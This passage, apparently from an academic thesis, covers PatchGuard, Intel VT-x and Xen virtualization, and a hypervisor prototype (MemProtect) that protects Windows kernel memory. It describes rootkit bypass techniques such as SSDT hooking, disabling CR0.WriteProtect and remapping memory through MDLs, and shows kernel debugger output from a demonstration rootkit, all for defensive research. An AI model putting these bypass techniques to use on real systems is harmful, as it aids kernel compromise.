module code, it is possible to bypass this mechanism. This was demonstrated by A. Ionescu with
his tool PurplePill[18]

It is worth noting that this mechanism does not actually enforce any restriction policy such
as stopping unsigned code from loading. It will generate a warning message describing the issue
and prompt an uninstall of the driver in question. It is also worth noting that Windows offers a
boot option to disable the driver signing requirement.

2.4.2 Kernel patch protection

The motivation behind Kernel Patch Protection, also known as PatchGuard, was the unsupported,
and sometimes malicious, kernel modifications by third party 32-bit driver modules, causing an
unstable OS. This was and is a problem on the 32-bit versions of Windows, as new protection
features are inhibited by legacy code support. These new protective measures are implemented:

• Protection of key kernel executable images, libraries and drivers.

• Protecting System Service Descriptor Table, Interrupt Descriptor Table and Global Descriptor
Table

• Protecting Machine State Registers(MSRs)

• Protection of selected object types and function pointers.

6The resource section is a part of a portable executable (PE) file[30] such as .exe, .dll or in the case of a kernel module
.sys. The section is used to contain items such as icons, graphics and other external resources.
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The PatchGuard implementation is not actually protecting from kernel patches occurring, but
enforcing a strict policy when a patch is detected. The protection is done by creating checksums
for the memory ranges of the protected tables and image sections. The checksum is verified
every 5 to 10 minutes. If a discrepancy occurs, PatchGuard will issue a bug check with stop code
CRITICAL_STRUCTURE_CORRUPTION. This leads to a "blue screen of death" and a following
reboot of the OS. The reboot reloads all the tables and images in an unaltered state.

PatchGuard runs in the kernel, on the same privilege level as the structures it is set in place to
protect, as well as the malicious kernel modules it is protecting against. This implies that Patch-
Guard is every bit as subvertible as the kernel in general. To mitigate this, PatchGuard relies
heavily on security by obscurity, misdirection and obfuscation[47]. This may arguably add little
in terms of security. It will however complicate the analysis of PatchGuard in order to restrict the
number of people knowledgeable to develop a workaround of its techniques. Microsoft uses the
term protection rather liberally, and not with prevention of memory modification in mind. It is
also worth noting that the term patch refers to modifications made directly to memory, and not
to describe a released software update also known as a patch.
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2.5 Hardware virtualization

The use of virtualization technology has gained popularity recent years as computer resources
continuously increase. To utilize the ample amounts of computational power, virtualization al-
lows for several operating systems to be run simultaneously on one hardware machine. This is
found useful in several scenarios such as consolidation and duplication of servers, management
of test environments and isolation of critical applications. The main motivation for this tech-
nology is not related to security, but virtualization also add some security benefits. This thesis
revolves around leveraging these benefits.

Virtualization in a processor and hardware context is a term describing the separation of the
hardware in use and the running OS software. An abstraction level, or a virtualization layer,
is introduced to manage and schedule several operating systems running on a shared hard-
ware platform. This is the role of the hypervisor, also referred to as the virtual machine monitor
(VMM), illustrated in Figure 13. The virtual machine, referred to as the guest, has a hardware
view which in many respects is transparent. This means it has no trace of the intervention and
interposition of the hypervisor. It is worth noting that complete transparency is neither feasible
or computationally economical as shown by Garfinkel et al. in [12]

Virtual Machine

Computer hardware

Memory NIC CardCPU Hard Disk

Hypervisor

Virtual hardware

Operating system

           

Applications

Virtual Machine

Virtual hardware
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Figure 13: Hardware Virtualization

The main benefits with hardware virtualization are the provided functionality regarding iso-
lation, inspection and interposition. These properties are identified by Garfinkel and Rosenblum
and leveraged in their IDS research[13].

Isolation The code executing in the guest can not reach the state of the hypervisor or other
guests. This implies that if the OS in a guest is compromised, the compromise is restrained
from reaching outside the guest. The guest has no way of accessing or modifying data
outside its virtual machine environment.
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Inspection The hypervisor has the ability to view all aspects of the guest execution state. This
includes CPU registers, virtual memory, storage and I/O device interaction. This makes the
hypervisor powerful in monitoring a guest.

Interposition The hypervisor is implemented as intermediate software between physical hard-
ware and software in the virtual machine. To manage the computer resources, the hyper-
visor has the ability to trap certain guest operations such as non-virtualizable instructions.
This enables the hypervisor to intercept and control the execution flow of the guest. Inter-
position enables isolation and introspection (inspection of the guest from the outside).

These virtualization properties are crucial in electing hardware virtualization for a memory
protection approach. The isolation property makes a software protection mechanism itself in-
susceptible to attacks, modification and bypass techniques. Introspection enable evaluation of
existing protection and enables protection decisions based on guest memory properties and se-
mantics. Interposition in turn enables the protection mechanism to interfere with guest operation
and makes it possible to control and manage physical memory on behalf of the guest.

2.5.1 The semantic gap

Among the challenges with virtual machine introspection is the so called semantic gap. This term
refers to the lack of context information due to the abstraction layer of the hypervisor. The appli-
cations and modules running inside the guest OS has the context information to interpret what
data stored in memory represents. Elements such as linked lists, structures and exported ad-
dress symbols give a semantic view of memory. The hypervisor can only inspect the raw memory
content and has no understanding of the context of its data. It may be necessary to re-construct
the architectural structures in order to achieve the needed internal semantic view of files, pro-
cesses and kernel modules. The semantic gap can to a certain degree be bridged with knowledge
of hardware and software architecture, as shown in [34] and [19].

2.5.2 Types of hardware virtualization

One of the main challenges in designing a virtual machine environment is to keep the states
of the running virtual machines separated while they inevitably have to run on a shared CPU,
memory and devices. Operations which could breach the isolation property have to be handled
by the hypervisor. These instructions are referred to as non-virtualizable instructions. Different
solutions to this has led to three classes of hardware virtualization:

Binary translations CPU instructions which are non-virtualizable are replaced run-time with
controlled instruction sequences managed by the hypervisor. Separation of privilege bet-
ween the hypervisor and the guest is done by bumping the guest OS kernel to ring 1. This
technique is called ring compression, and is possible since neither ring 1 or 2 is used in mo-
dern commodity OS’es. This require no extensions to the guest OS or the hardware CPU,
and is the type of virtualization used for instance in VMware Workstation.

Paravirtualization Also known as OS assisted virtualization. The approach is to modify the guest
OS kernel and replace the non-virtualizable CPU instructions with hypercalls which enables
the hypervisor to perform or emulate the replaced instructions. The memory management
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and interrupt handling is also taken care of by the hypervisor. In paravirualization ring
compression is used to separate the hypervisor and the kernel. No CPU support is needed,
but the OS has to be modified, which imply access to OS source code is needed7.

Hardware-assisted virtualization Extensions to the CPU introduce two operation modes. One
more and one less privileged, called root mode and non-root mode. With hardware-assisted
virtualization both the hypervisor and the guest are able to use all four privilege levels.
The CPU will trap any non-virtualizable instruction and hand execution control over to the
hypervisor in root mode. This removes the need for modifying the guest OS code through
patching with paravirtualization or run-time binary translation.

As illustrated in Figure 14 both binary translation and paravirtualization relies on ring com-
pression to separate the hypervisor and guest kernel. Hardware-assisted virtualization makes
ring compression superfluous with the root and non-root mode. Each virtualization type has its
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Figure 14: Privilege levels as utilized by virtualization types.

own way of enforcing privileged execution of non-virtualizable instructions and other privileged
operations. This has led to the birth of ring -1 as a new (superior to ring 0) privilege level in a
privilege model known from regular CPU operation (elaborated in Section 2.2.1). This term is
not accurate in describing the actual implementation in question. It does not exist from a hard-
ware point of view, but serves as a simplification and a metaphor in daily language.

The hardware-assisted type of virtualization was found to be the most suitable for imple-
menting the work of this thesis. This is due to its transparency features, no need for guest OS
modification and a well-documented operation interface of the processor (Intel).

7It is worth noting that paravirtualization support for a version of Windows XP has been developed in cooperation
with Microsoft[53]
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2.5.3 Hardware-assisted virtualization

Hardware-assisted virtualization completely simulates the underlying hardware. This concept
has been known for decades8. However, the relatively recent introduction (2006) of processor
virtualization extensions (AMD-V and Intel VT-x) has made this commonly available in personal
computers. Several hardware-assisted virtualization solutions are available on the market today,
both open source such as Xen 3 [2] and commercial such as VMware ESX[33]. Competing and
differing hypervisor design philosophies cause quite different approaches to hypervisor solutions
and functionality. One may argue that the hypervisor should remain lightweight, implemented
compactly and comprehensively with stringent security. On the other hand the argument is to
take advantage of the introduced opportunities by for instance implementing a security API
within the hypervisor. The hypervisor has the ability to monitor or modify the virtual machines
memory, to inspect logical processing and disk and network usage. A benefit of the processor
extensions is that they enable lightweight hypervisor implementations. This in turn enable more
exhaustive hypervisor code audits, which may yield better hypervisor security.

2.5.4 Intel Virtualization Technology

The Intel Virtualization Technology[31], known as Intel-VT is the term describing a implemen-
tation of hardware-assisted virtualization. It consists of a set of extensions and enhancement to
the processor. Intel-VT was chosen due to its well-documented nature and hardware availability.

The concept of the hypervisor and the guest virtual machine makes it necessary to distinct
between two types of software, each running in a defined processor operation mode. These are
the hypervisor and the guest software, respectively running in VMX root mode and VMX non-root
mode. Root-mode is more privileged9 than non-root mode. Transitions between these modes are
called VMX transitions, and two types of transitions exist:

VM entry The transition from VMX root mode to non-root mode.

VM exit The transition from VMX non-root mode to root mode.

VMX instructions

Table 2: VMX instruction set

VMXON, VMXOFF Enable/Disable VMX operation
VMCLEAR Initialize VMCS region

VMPTRLD, VMPTRST Load/Store current VMCS pointer
VMREAD, VMWRITE Read/Write field in VMCS

VMLAUNCH, VMRESUME Launch/resume VM
VMCALL Call issued from VM into hypervisor

The virtualization extensions introduces a new set of processor instructions called VMX ins-
tructions, listed in Table 2. These are available only in VMX root mode. If any of these instructions
are attempted executed in non-root mode, a VM exit occurs.

8Introduced in 1972 on IBM System/370.
9This is not related to the privilege rings of the traditional CPL model.
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Virtual machine control structure

The transitions between the VMX operation modes are managed by the use of Virtual Machine
Control Structures (VMCS). The hypervisor modifies the VMCS using the instructions VMREAD,
VMWRITE and VMCLEAR.

The VMCS consists of six groups of data. Table 3 is quoted from chapter 21.3 in [17].

Table 3: Fields in the Virtual Machine Control Structure

Area type Description
Guest-state area Processor state is saved into the guest-state area on VM exits and

loaded from there on VM entries.
Host-state area Processor state is loaded from the host-state area on VM exits.
VM-execution control fields These fields control processor behavior in VMX non-root opera-

tion.
VM-exit control fields These fields control VM exits.
VM-entry control fields These fields control VM entries.
VM-exit information fields These fields receive information on VM exits and describe the

cause and the nature of VM exits.

The VMCS contains the execution state of a virtual machine for a given context. The guest
and host state among other things contain processor registers, such as the instruction pointer
and general purpose registers (EAX, EBX etc.). When a VM entry is performed the guest state is
loaded from the corresponding VMCS guest state area, and the hypervisor state is saved in the
host state area. Reversely, in the case of a VM exit the guest state is saved in the VMCS guest
state, and the processor state is loaded from the VMCS host area.

VM exit reasons

When non-virtualizable instructions are executed in non-root mode, a VM exit occurs. The hy-
pervisor is then allowed to control the outcome of the instruction. Which instructions cause VM
exits are defined in the VMCS. A VM exit is handled in the hypervisor by a VM Exit Handler which
dispatches the exit state to an appropriate function or routine. Typical guest events causing VM
exits can be:

• Operations affecting memory access and control
Accessing page directory base pointer (CR3)
Page faults

• CPU instructions affecting processor state
Instructions like CPUID, RDMSR, WRMSR, RDTSC
Access to control or debug registers, such as MOV to CRx or DRx

• External interrupts unrelated to the guest
I/O

• Scheduling support
Detection of guest inactivity
HLT, PAUSE
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Figure 15: Life cycle of hardware-assisted virtualization with VMX

Accumulating the recently described concepts and structures, we are able to draw the lar-
ger picture of a VMX life cycle. This life cycle is illustrated in Figure 15. Firstly, the executing
software enables VMX operation by executing the VMXON instruction. A control structure is ini-
tialized with VMCLEAR, then established and populated using VMPTRLD and VMWRITE. When
the control structure is set up, VMLAUNCH is executed which reads the guest state from the
corresponding VMCS. This sets the processor in a non-root mode executing till an exit reason
occurs. When an exit reason eventually occur, the guest state is saved to the VMCS along with in-
formation about the exit reason to be handled. The processor state is set back to the stored VMCS
host state, and the VM Exit handler dispatches the exit reason to a suitable function taking the
appropriate actions. After the exit reason is handled, the processor state is again switched from
host to guest state, and non-root operation continues until the next exit reason. If the hypervisor
for some reason wants to disable the VMX operation, this is done with the VMXOFF instruction.

2.5.5 Xen and hardware-assisted virtualization

Xen was chosen as the hypervisor solution in the work of this thesis. This mainly due to the fact
that it is open source, its solution maturity, and due to a significant amount of peer-reviewed
research based on the Xen virtualization solution. In this subsection the topics and implementa-
tions most relevant for the thesis is described in detail.
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In Xen version 3 support for hardware-assisted virtualization was implemented. The support
for the Intel-VT instruction set was contributed by the Intel Core Software Division[10]. Versions
of Xen prior to version 3 was based on the paravirtualization approach. In Xen terminology each
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user applications
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domain0 domainU
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Figure 16: Architecture of Xen 3

guest (virtual machine) is called a domain. The Xen virtualization solution basically consists
of the Xen hypervisor and a privileged domain for management of the hypervisor and other
virtualized guests. This privileged domain is called domain0, and is typically a paravirtualized
GNU/Linux OS. Multiple user domains can be created by the management domain0, each of
which are called a domainU. The architecture of the Xen virtualization solution is illustrated in
Figure 16.

The Xen hypervisor presents a virtual hardware platform10 to the VM guest. This consists
of virtual devices and guest firmware. The guest firmware is based on the open source Bochs
BIOS[22]. When the guest is launched execution is passed to the emulated guest BIOS for boot
services.

2.5.6 Memory virtualization

Virtualization of physical memory is another important component of hardware virtualization,
and plays a central role in the work of this thesis. In virtualized memory there are three abs-
traction levels, machine memory, physical memory and virtual memory. The concept of virtual
memory remains the same. Physical memory is from the guest point of view the available hard-
ware memory. Machine memory is the memory as viewed by the hypervisor which has the true
view of hardware memory. The hypervisor provides the abstraction and isolation between ma-
chine memory and the respective guest’s physical memory view. The guest OS cannot have direct

10In Xen terminology this is referred to as a hardware virtual machine (HVM)
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Figure 17: Shadow page tables in Xen 3.

translation access to machine memory addresses as this would imply an isolation breach. Hence,
the hypervisor is responsible for the propagation and synchronization between machine memory
and guest physical memory.

Virtualization of the memory in Xen is performed by a module called virtual memory ma-
nagement unit. This module presents physical memory to the guest and performs the address
translations as a hardware MMU on behalf of the guest.

In order to separate the page mapping done by the guest and the mapping managed by the
virtual MMU an additional set of page tables is introduces called shadow page tables. The shadow
page tables are managed by the hypervisor, and contain translations between virtual addresses
and machine memory. These are the tables actually used by the processor during operation. When
the guest modifies its own page tables, by for instance creating a new translation, the virtual
MMU will trap this operation and update the shadow page tables accordingly. The relationship
between the shadow page tables and the guest page tables are illustrated in Figure 17. The page
tables inside the guest are operated as described in Section 2.1.2. It is important to note that
only the hypervisor modifies the shadow page tables, and the hypervisor may propagate these
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modifications to the VM’s guest page tables.
From a performance point of view the code of the shadow paging is among the main contri-

butors to performance penalty. Considerable effort has been put into optimizing shadow page
table management. Given the performance impact and the increased hypervisor complexity by
implementing a virtual MMU, a hardware-based approach to memory virtualization has recently
been introduced. This is called Extended Page Tables (Intel) or Nested Paging (AMD) and is likely
to supersede software implementations of memory virtualization.
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3 Related research

The virtualization technology has relatively recently benefited from wide extension and embrace.
Its security advantages has prompted a significant amount of research coined to address known
problems with the new opportunities in this technology. This chapter aims to describe the state-
of-the-art of research relevant to the work in this thesis.

3.1 Virtualization malware

As is often the case, malware developers push the envelope on techniques and tricks to achieve
a solution to a challenge. This was also the case with the utilization of hardware virtualization
technology. Security researchers developed proof-of-concept virtualization malware almost be-
fore any legitimate applications found its way to the market. The most significant virtualization
malware has been BluePill[40] and Vitriol[61], respectively developed by renowned security re-
searchers Joanna Rutkowska and Dino Dai Zovi. Both were presented concurrently and with
relatively similar design. BluePill was later rewritten and its source code released. This work has
paved the way for other security research by demonstrating the power inherent in the newly
available technology. Even though it is proof-of-concept malware, it can be considered related
research. The virtualization malware move the running OS into a virtual machine on-the-fly
and installs itself as the hypervisor. The malicious hypervisor may then control and manipulate
the work-flow, "interesting events" or the state of the created guest. This is done without mo-
difying any part of the OS memory space, and is classified as a type 3 malware. In addition to
installing a malicious hypervisor, malware may exploit vulnerabilities in hypervisor code to run
hypervisor-privileged malicious code. It is worth noting that the work of this thesis addresses pro-
tection of guest memory, and does not aim to protect against virtualization malware. Securing
the hypervisor has been addressed in work such as HyperSafe[55] which may provide hypervisor
control-flow integrity.

3.2 Introspection and malware detection

Among more legitimate pioneering is the work of Garfinkel and Rosenblum in their IDS proto-
type named Livewire[13]. Their work demonstrate the hypervisor platform’s benefits in bridging
the gap between a network-level and host-level IDS approach. This is also useful for implemen-
ting security mechanism like secure logging, intrusion prevention systems and digital forensics.
Terminology presented in theis work was later adapted by the research community. For instance
the three properties of hardware virtualization: isolation, inspection and interposition, which are
applied in Section 2.5.

X. Jiang et al. use guest introspection in VMWatcher[19] to detect malware. Commodity secu-
rity tools may run isolated outside the guest and detect malware inside the guest. A requirement
of this approach is to have a semantic understanding of the kernel memory space. VMWatcher
bridge parts of the semantic gap by re-constructing and casting software architectural structures.
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This gives insight to modules, processes and objects of the guest OS kernel. The technique is
called guest view casting. Since the detection software is run outside the guest it is no longer
detectable or subvertible by kernel malware. On a side note it is worth mentioning the apparent
risk of exposing security software outside the guest to the isolated memory of a guest. Security
software as any software can be vulnerable and exploitable. The privileged and isolated monitor
may be victim to attacks, for instance on the parsing engine in an AV scanner. Another significant
effort to bridge the semantic gap is XenAccess[34]. XenAccess use exported symbols from Sys-
tem.map for Linux (or pdb-files for Windows). The XenAccess library simplifies virtual machine
introspection and makes this available through an API.

Taking the malware detection a step further has been done by Conover et al. in SADE[7]. By
using a security API in the VMware ESX hypervisor named VMSafe[54], an anti-virus scanner is
able to detect malicious code in a guest. In order to remove detected malware SADE injects a
driver module into the guest kernel. Memory for the injected driver is acquired by hooking the
kernel function ExAllocatePool. Execution of the injected driver is established by manipulating
the guest’s instruction pointer with the hypervisor. The injected module locate and overwrite the
identified malicious code.

The hypervisor is also useful for monitoring in order to aid detection and analysis. An acclai-
med approach to this is Ether[9] by A. Dinaburg et al. The goal of this work was to develop a
transparent inspection platform for malware analysis, with the OS unknowing of it being moni-
tored. Ether released a toolkit consisting of generic malware unpacking, process tracing, system
call logging and monitoring of memory writes. Malware attempting to detect if it is being moni-
tored or debugged should no longer be able to. Significant effort is put into covering artifacts of
virtualization, although complete transparency is not feasible to achieve. Ether provides source
code of a comprehensible framework built on top of the Xen virtualization platform. This frame-
work has been adapted in the experimental work of this thesis.

3.3 Protection

Inspecting virtual machines yields opportunities for detection and monitoring. Taking it a step
further it is also possible to enforce security policies onto the guest. A technique for preventing
modification of pointers (a.k.a. hooking) in the kernel is called HookSafe[56] proposed by Wang
et al. This provides protection to a variety of kernel hooks. One of the problems addressed in this
work is the protection granularity gap. In this lies the mismatch between the hardware-based
memory page protection and the size and location of critical kernel objects such as hooks, which
require byte level protection schemes. Pointers in the kernel are numerous and are scattered
around kernel space, sometimes dynamically allocated and co-located with kernel data with
differing importance. The HookSafe model proposes a solution to this by implementing a pointer
indirection layer, co-locating all identified pointers with a protection scheme in a fashion similar
to the isolated shadow pages. The pointers to protect are identified by source code analysis. This
may be a sound solution due to the observation that once a "hookable" pointer is in place it is
often accessed, but rarely modified (written to). Attempts to write to a pointer can be trapped
and denied by the HookSafe hypervisor.

Researcher E. Lacombe has proposed Hytux[21] to enforce execution and access constraints
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to the Linux kernel. This work defines classes of malicious actions against the kernel, ranging
from direct memory access (DMA) attacks to alteration of CPU registers. To mitigate malicious
actions a set of kernel-constrained objects (KCO) in need of protection is defined. For instance,
the IDT (ref. Section 2.2.1) is defined as a KCO. Unwanted modifications to the IDT is mitigated
by emulating the LIDT instruction in the hypervisor. LIDT is the instruction which loads the IDT.
Hytux implements its mechanisms based on the BluePill hypervisor (ref. Section 3.1) used as a
lightweight protection platform. Both HookSafe and Hytux are focused on the Linux kernel, but
it is worth mentioning that this is not a limitation of the techniques proposed. As both Linux and
Windows are monolithic, most techniques are likely to be platform portable.

An alternative approach to protecting the guest is to use the hypervisor to ensure integrity in
executing kernel code. Patagonix[26] by L. Litty et al. is able to prevent execution of modified
code in the guest without relying on a semantic understanding of memory. The technique marks
a page as non-executable by leveraging the NX bit. At first Patagonix sets the NX bit on every
page in the guest. When code is attempted executed by the CPU, a fault is invoked and trapped
by the hypervisor. The hypervisor now know the page contains code, and will control the content
of the code against an identity oracle. This oracle matches the code in the page to known and
trusted executable files. If the page correlates with code of a known binary, the NX bit is unset,
and the page allowed to execute. If the page is not known, it can be considered malicious and is
not allowed to execute.

SecVisor[45] by Seshadri et al. is a hypervisor dedicated to provide kernel code integrity. The
hypervisor implements integrity protection with the use of shadow page tables. This gives a par-
ticularly lightweight hypervisor. Approximately 1100 lines of code1 with the use of hardware
memory virtualization. Each page of code has to be approved by SecVisor to be allowed to exe-
cute. A page is either writable or executable, never both. Approved code should therefore never
be written to. Unapproved code has the NX bit set, similarly to Patagonix. When this code is
attempted executed, the NX bit violation creates a fault. This is trapped by the hypervisor and
the guest is terminated. In order for SecVisor to provide lifetime protection, a couple of Linux
bootstrap modifications is done to allow the kernel to decompress. To allow the kernel to dyna-
mically load and unload modules, the kernel is modified to involve the hypervisor in this routine.

The hypervisor can also be used to protect applications inside a guest environment. Both
Overshadow[6] and Software-Privacy Preserving Platform, SP3[60] address need for protection
in an execution environment with an untrusted operating system. SP3 aims to protect applica-
tion data. This is a page-based encryption system by Yang et al. which uses the hypervisor to
implement protection. SP3 operates with protection domains with sets of cryptographic keys.
Applications running inside a given domain has access to that domain’s decrypted memory. Ap-
plications outside the domain only see encrypted memory. This protects the privacy of the data
and modification of encrypted data should still be feasible. Chen et al. propose Overshadow, a
protection scheme based on execution context. This enables applications to be protected from the
operating system in which they are running. Overshadow introduces a technique called multi-

1The size of the SecVisor hypervisor is 1729 lines of code with software memory virtualization - shadow page tables,
and 1112 lines of code with the use of nested page tables.
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shadowing, where each application has its own view of physical memory. The operating system
is prevented from reading and writing to application memory. This makes is possible to operate
with protection entities within a guest operating system. Taking the application context isolation
a step further is Qubes OS[42]. Here virtualization is used to group applications with equal need
for integrity, or equal risk of compromise, in separate virtual machines.

It seems clear that the virtualization technology has much to offer in improving and ad-
dressing many OS security issues. However, the technology also has potential when it comes to
rethinking the design of OS’es. The balance between the microkernel and the monolithic kernel
has turned out to be something of a conundrum. Virtualization may add value to the equation
by offering new concepts of protection.
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4 Enforcing memory protection

4.1 Introduction to contributions

In this section, we present our technique to protect memory from unwanted modifications. We
have shown in Section 2.1.2 and 2.3.2 how the memory pages’ access restrictions are not suffi-
cient in protecting memory. Type 1 malware are exploiting this to modify kernel structures meant
to be static. Our proposed techniques aim is to enable us to deny this, thus enforcing integrity of
static memory.

4.2 Architecture of experiment implementation

The architecture is inspired and based on the implementation of Ether[9], a process monito-
ring framework by A. Dinaburg et al. Virtual machine monitoring and protection approaches
has a set of common features to enable its footing in the hypervisor. This is mainly regarding
management communication with the hypervisor and intercepting the guest OS work-flow. The
protection techniques of this thesis are implemented as patches to the Ether framework. The
Ether framework is in turn implemented as patches to the Xen hypervisor. The architecture of
the protection implementation, named MemProtect, is visualized in Figure 18. It consists of two
main components:

MemProtect controller component An application running in the Xen domain0, which allows
us to communicate with the protection component in the hypervisor. Its main functiona-
lity is enabling/disabling interception and printing received status messages sent from the
hypervisor.

MemProtect protection component Modifications to the Xen hypervisor, which allows us to
intercept and inspect a set of events in the guest. It intercepts interrupts such as page
faults, and modifications to control registers. This component also has the ability to control
the guest’s shadow page tables.

The communication between the controller and the introspection component is implemented
via the domctl library in Xen. This allows us to send and receive notification commands with the
hypervisor. We also send and receive data to and from the hypervisor via a dedicated memory
page shared between domain0 and the hypervisor.

4.2.1 Interception of guest operation

The interception is realized through the VM exit handler in the hypervisor. When the guest
(domainU) enters a state which cause a VM exit (described in Section 2.5.4) the execution
context is switched from guest to the hypervisor. The hypervisor at this point has control over the
guest execution state, and may choose to modify this before the execution context is switched
back to the guest as illustrated in Figure 19.
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Figure 18: Architecture of memory protection implementation
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Figure 19: The VM Exit handler used in guest operation interception

The Xen hypervisor intercepts a subset of instruction and events in normal guest OS operation.
In order to extend the introspection capabilities beyond the normal operation we need to extend
some of the hypervisor functionality. The MemProtect prototype has three protection techniques,
each of which address discovered shortcomings in the ordinary memory protection scheme. The
proposed protection techniques are described in the following subsections.
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4.3 Protecting writable memory
Protection limitation 1: The protection granularity gap

As described in Section 2.1.1, a 4-kilobyte page of memory is protected by a flag in the page
table entry. A page is either writable or read-only. However, attempts to modify memory typically
target pointers, structures or code. Protection of such data would require protection at a byte-
level. This is referred to as the protection granularity gap. As pointed out in [56] a consequence
of this is kernel memory in need of protection on a dynamic writeble page. For the dynamic data
to remain dynamic the page has to be writable from the page table point of view.

Proposed solution

We address the protection granularity gap by using shadow paging. The hypervisor and its virtual
MMU code control the layout of the shadow page tables. One of the features of the shadow page
tables is the ability to take care of spurious page faults which are caused as an artifact of the sha-
dow pages themselves. Spurious page faults are caused by incomplete synchronization between
guest and shadow page tables. These faults does not represent a true page fault from the guest
OS execution state. In other words, the guests view of page tables, and the shadow page tables
maintained by the hypervisor can be inconsistent (explained and illustrated in Section 2.5.6). To
resolve a spurious page fault, the code of the shadow page tables fix the cause of the fault and
then re-execute the guest instruction. The faulting instruction will now execute as if nothing has
happened.

This functionality is used to our advantage to extend memory protection beyond what the
guest page tables support. Since we in the hypervisor have control over the shadow page tables
of the guest, we can manipulate these as we see fit.

Dynamic memory

writable page

Memory to protect

0

4095

Write

instruction

denied

allowed

Figure 20: Protection of memory within a writable page

In a given scenario we have a defined virtual memory address space which need protection,
for instance as illustrated in Figure 20. However, this piece of memory happens to be in a writable
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page. We can, in the shadow page tables, mark the page of the memory to protect as read-only.
This will cause the execution of the guest OS to treat these pages accordingly and give our
hypervisor code control each time the protected pages are attempted written.

In Figure 20 both dynamic data and protected data are on the same page. To both allow and
deny writes within the same page a decision is done as described in the flowchart in Figure 21.
In the hypervisor we determine whether the address of the write is within the defined address
space to protect. When the write-attempt is trapped, and the target address of the write is within
the protected area, the read-only protection of the page is maintained.

If it is not in the range, albeit on the same page, we allow the write in a two-step procedure:

1. mark the page as writable and re-execute the faulting instruction - which now will execute as
if no fault occurred.

2. set the trap flag for the guest OS.

The trap flag, commonly used by single-stepping debuggers, will cause a debug exception after
the writing instruction is executed. We trap this exception in the introspection framework and
then re-set the page to read-only. We now have restored the protected state, after allowing one
controlled write to the protected page, outside the protected address range.

Is target address 

within protected 

area?

Hypervisor has trapped 

write attempt to read-only 

page

Deny write

yes

1. Set page as  

    writable.

2. Set trap flag

no

1. Catch trap

2. Set page as 

    read-only

Re-execute write attempt

Figure 21: Flowchart of protecting selected memory in page.
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4.4 Protecting read-only memory
Protection limitation 2: Page protection flag bypassing

As explained in Section 2.1.2 there is a way to bypass the protection flag of a page table entry. If
the processor is executing in kernel mode, malicious code may disable all page protection flags
by disabling the WriteProtect flag in the control register CR0.

Proposed solution

Access to control registers is a non-virtualizable instruction, which in VMX mode only the hyper-
visor is allowed to execute. This means that whenever a guest tries to read or write to a control
register, a VM exit occurs. We intercept if the guest tries to disable the CR0.WriteProtect flag, and
consequently denies any attempt to to so.

The implication of denying a disabled CR0.WriteProtect is likely to be one or more page
faults, and here is why: Unless the executing code has a try/catch-mechanism to handle the
failed attempt to disable the CR0.WriteProtect, the code will consequently continue with an
attempt to write to read-only memory. This causes a page fault, which in turn cause a VM exit.
There is however not any real reason for a malware writer to assume that modifying CR0 should
fail, because this is normally done directly by the CPU.

Attempt to disable  

WriteProtect flag?

Hypervisor has trapped 

attempt to access CR0

Re-enable 

WriteProtect flag.

yes

Resume guest 

operation

no

Hypervisor handle page 

faults induced by 

attempt to write to read-

only memory

Figure 22: Flowchart of WriteProtect enforcement.

It is worth noting that this technique does not depend on a semantic understanding of the
target address of an attempted write. In any case, normal code should not rely on disabling
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CR0.WriteProtect in order to operate. However, a semantic understanding of the memory target
of a blocked write can aid in deciding the intension of the code. This can be used in determining
the appropriate actions to be taken by the hypervisor.

A filter is set in place to separate between blocked writes based on target address. This filter
has two branches:

1. The faulting address is within the address space of kernel memory we expect to be a target
of malicious modification. At this point we have reason to address the fault as deliberately
malicious, and can:

• Skip the instruction causing the fault by modifying the guest instruction pointer, EIP in
the VMCS. This will thwart a rootkit’s attempt to hook into the targeted structures. The
guest is left running as if nothing happened, and no hooking attempt was made.

• Modify the instruction pointed to by EIP to an infinite loop, which will freeze the rootkit.
This is likely to cause a significant performance impact on the guest OS, and potentially
freeze it completely. The benefit of this approach is that the malicious code will not be
able to continue execution. The introduced infinite loop could be resolved by intervention
of the hypervisor.

• Unload the faulting driver module from the kernel, hence removing the malware. In order
to do this one suggested approach[7] is to insert an agent into the guest to perform the
removal of the malicious module.

2. The faulting address is outside the address space of kernel memory we expect to be a target of
malicious modification. At this point we have no semantic understanding of the intentions of
the faulting instruction. Hence, the fault should be propagated to the guest OS. A page fault
due to a denied memory write in the kernel will cause a blue-screen (BSOD), which is what
the kernel intends. To modify the execution state of the guest at this point is likely to cause
an unstable kernel.
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4.5 Blocking memory re-mapping
Protection limitation 3: Physical memory remapping

Protecting writable and read-only memory as described in the previous sections are based on
the protection scheme of the page tables and extending its enforcement. However, as rootkit-
techniques evolve, workarounds in lower levels bypass existing security mechanisms. One such
technique is memory re-mapping[5]. With access to the page table base pointer (stored in CR3)
one can derive a virtual address’ location in physical memory. The physical memory of a protected
virtual address can be re-mapped to a new virtual address within the context of a malicious
module. The memory protection on the newly mapped memory may then be altered, hence
the protection of the original memory page is bypassed. A malicious driver can exploit this and
modify any protected memory. In Windows this technique is supported by Memory Descriptor
Lists (MDL) with affiliated API-functions. This makes an easy way to bypass protection enforced
by the page tables.

To illustrate this, we have installed a rootkit[15] which modifies the SSDT (hooking tech-
nique explained in Section 2.3.2). The target to modify is the virtual memory exported as
nt!KiServiceTable: address 0x80501030. Our rootkit remaps this memory to its own virtual me-
mory region at 0xf8bd4030. This is illustrated in Figure 23. The two modules, ntoskrnl.exe and
filehide.sys have mapped the same physical memory with different access restrictions. In the
dump1 of the PTE’s, it is highlighted in red that the original memory mapping is read-only, while
the remap is writable. To further illustrate the point, the content is dumped of both virtual me-
mory addresses, in addition to the physical memory and is indeed the same. It seems apparent
that in order to design our virtual address protection, this technique has to be addressed in
addition to the previously described protections mechanisms.

1This is output from kernel debugger kd[29]. The command dd dumps content of the specified virtual address. The
command !dd dumps content of the physical address specified. Both these commands by default dump 4 dwords of
memory from the specified address.
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Physical 

memory

...

Virtual 

memory
0x80000000

0x80501030

0xf8bd4030

0xffffffff

ntoskrnl.exe

filehide.sys

Writable

Read-only

SSDT 
(8059849a....)

...

ORIGINAL KERNEL MEMORY
kd> !pte nt!KiServiceTable
                    VA 80501030
PDE at C0602010             PTE at C0402808
contains 0000000000316163   contains 0000000000501121
pfn 316       -G-DA--KWEV   pfn 501       -G--A—KREV

kd> dd nt!KiServiceTable
80501030  8059849a 805e5666 805e8ec4 805e5698

REMAPPED MEMORY
kd> !pte f8bd4030
                    VA f8bd4030
PDE at C0603E28             PTE at C07C5EA0
contains 0000000001033163   contains 0000000000501163
pfn 1033      -G-DA--KWEV   pfn 501       -G-DA—KWEV

kd> dd f8bd4030
f8bd4030  8059849a 805e5666 805e8ec4 805e5698

PHYSICAL MEMORY:
kd> !dd 501030
